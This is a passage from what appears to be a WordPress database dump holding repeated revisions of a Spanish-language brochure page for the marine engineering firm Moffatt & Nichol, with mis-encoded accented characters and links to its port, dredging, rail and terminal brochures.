src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-8','','','2012-06-14 12:20:02','2012-06-14 12:20:02','',1995,'http://moffattnichol.com/spanish/1995-revision-8/',0,'revision','',0),(2437,1,'2012-06-14 12:20:20','2012-06-14 12:20:20','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingenierÃa y planeamiento marÃtimo mÃ¡s destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseÃ±o para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-9','','','2012-06-14 12:20:20','2012-06-14 12:20:20','',1995,'http://moffattnichol.com/spanish/1995-revision-9/',0,'revision','',0),(2438,1,'2012-06-14 12:20:46','2012-06-14 12:20:46','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; 